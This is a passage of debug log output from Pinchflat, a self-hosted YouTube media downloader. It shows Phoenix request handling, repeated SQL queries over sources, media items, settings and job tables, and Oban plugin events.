PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "6"} Pipelines: [:browser] 03:51:31.493 [debug] QUERY OK source="sources" db=3.1ms queue=0.2ms idle=864.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 03:51:31.507 [debug] QUERY OK source="media_profiles" db=4.7ms queue=0.6ms idle=878.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:51:31.751 [debug] QUERY OK source="tasks" db=224.7ms queue=1.1ms idle=900.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [6, "executing", "available", "scheduled", "retryable"] 03:51:31.754 [debug] QUERY OK source="oban_jobs" db=2.7ms queue=0.1ms idle=1127.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2222] 03:51:31.786 [debug] QUERY OK source="settings" db=2.0ms queue=0.1ms idle=778.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:51:31.788 [debug] QUERY OK source="settings" db=1.2ms idle=294.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:51:31.806 [debug] QUERY OK source="settings" db=1.4ms idle=296.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:51:31.853 [debug] QUERY OK source="sources" db=1.7ms queue=0.3ms idle=100.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 03:51:31.868 [debug] QUERY OK source="media_items" db=6.9ms queue=0.1ms idle=106.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 03:51:31.876 [debug] QUERY OK source="media_items" db=6.6ms queue=0.1ms idle=84.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [6, 10, 0] 03:51:31.903 [debug] QUERY OK source="sources" db=4.8ms idle=110.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 03:51:31.907 [debug] QUERY OK source="media_items" db=2.3ms idle=98.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [6] 03:51:31.920 [debug] QUERY OK source="media_items" db=13.0ms queue=0.1ms idle=53.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [6, 10, 0] 03:51:31.927 [debug] QUERY OK source="sources" db=0.3ms idle=58.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 03:51:31.938 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=60.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [6] 03:51:31.945 [debug] QUERY OK source="media_items" db=4.3ms idle=36.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [6, 10, 0] 03:51:31.966 [info] Sent 200 in 495ms 03:51:39.880 [info] GET /sources/6/media/76377 03:51:39.881 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "76377", "source_id" => "6"} Pipelines: [:browser] 03:51:39.883 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=847.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [76377] 03:51:39.890 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=265.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 03:51:39.910 [debug] QUERY OK source="tasks" db=20.9ms queue=0.5ms idle=264.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [76377] 03:51:39.911 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=286.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [1975] 03:51:39.915 [debug] QUERY OK source="settings" db=1.0ms queue=0.1ms idle=289.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:51:39.915 [debug] QUERY OK source="settings" db=0.1ms idle=31.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:51:39.916 [debug] QUERY OK source="settings" db=0.4ms idle=25.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:51:39.920 [debug] QUERY OK source="media_profiles" db=0.3ms idle=10.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:51:39.956 [info] GET /sources 03:51:39.956 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 03:51:39.959 [debug] QUERY OK source="settings" db=1.6ms queue=0.1ms idle=46.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:51:39.959 [debug] QUERY OK source="settings" db=0.3ms idle=44.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:51:39.961 [debug] QUERY OK source="settings" db=0.3ms queue=0.6ms idle=44.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:51:39.964 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=47.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:51:39.968 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=46.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:51:39.986 [debug] QUERY OK source="sources" db=11.7ms queue=0.1ms idle=15.3ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 03:51:40.001 [debug] QUERY OK source="sources" db=11.3ms queue=0.1ms idle=30.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 03:51:40.038 [info] Sent 200 in 81ms 03:51:40.047 [info] Sent 200 in 167ms 03:51:43.206 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:52:00.971 [info] {"source":"oban","duration":2335,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:52:13.208 [info] {"source":"oban","duration":860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:52:38.128 [info] GET /app_info 03:52:38.129 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 03:52:38.129 [info] GET /settings 03:52:38.133 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=1507.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:52:38.133 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 03:52:38.134 [debug] QUERY OK source="settings" db=0.6ms queue=0.4ms idle=1509.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:52:38.135 [debug] QUERY OK source="settings" db=0.8ms idle=1510.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:52:38.136 [debug] QUERY OK source="settings" db=0.3ms idle=918.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:52:38.138 [debug] QUERY OK source="settings" db=0.7ms queue=0.2ms idle=512.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:52:38.139 [debug] QUERY OK source="settings" db=0.6ms idle=5.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:52:38.141 [debug] QUERY OK source="settings" db=1.9ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:52:38.145 [debug] QUERY OK source="settings" db=0.3ms idle=8.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:52:38.146 [debug] QUERY OK source="settings" db=0.8ms idle=8.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:52:38.148 [info] Sent 200 in 19ms 03:52:38.161 [info] Sent 200 in 31ms 03:52:43.210 [info] {"source":"oban","duration":920,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:52:47.032 [info] GET /sources/6/media/76349 03:52:47.032 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "76349", "source_id" => "6"} Pipelines: [:browser] 03:52:47.036 [debug] QUERY OK source="media_items" db=2.2ms queue=0.1ms idle=1409.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [76349] 03:52:47.038 [debug] QUERY OK source="tasks" db=2.0ms idle=1412.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [76349] 03:52:47.039 [debug] QUERY OK source="sources" db=1.9ms queue=0.1ms idle=1412.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 03:52:47.289 [debug] QUERY OK source="oban_jobs" db=249.1ms idle=804.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" 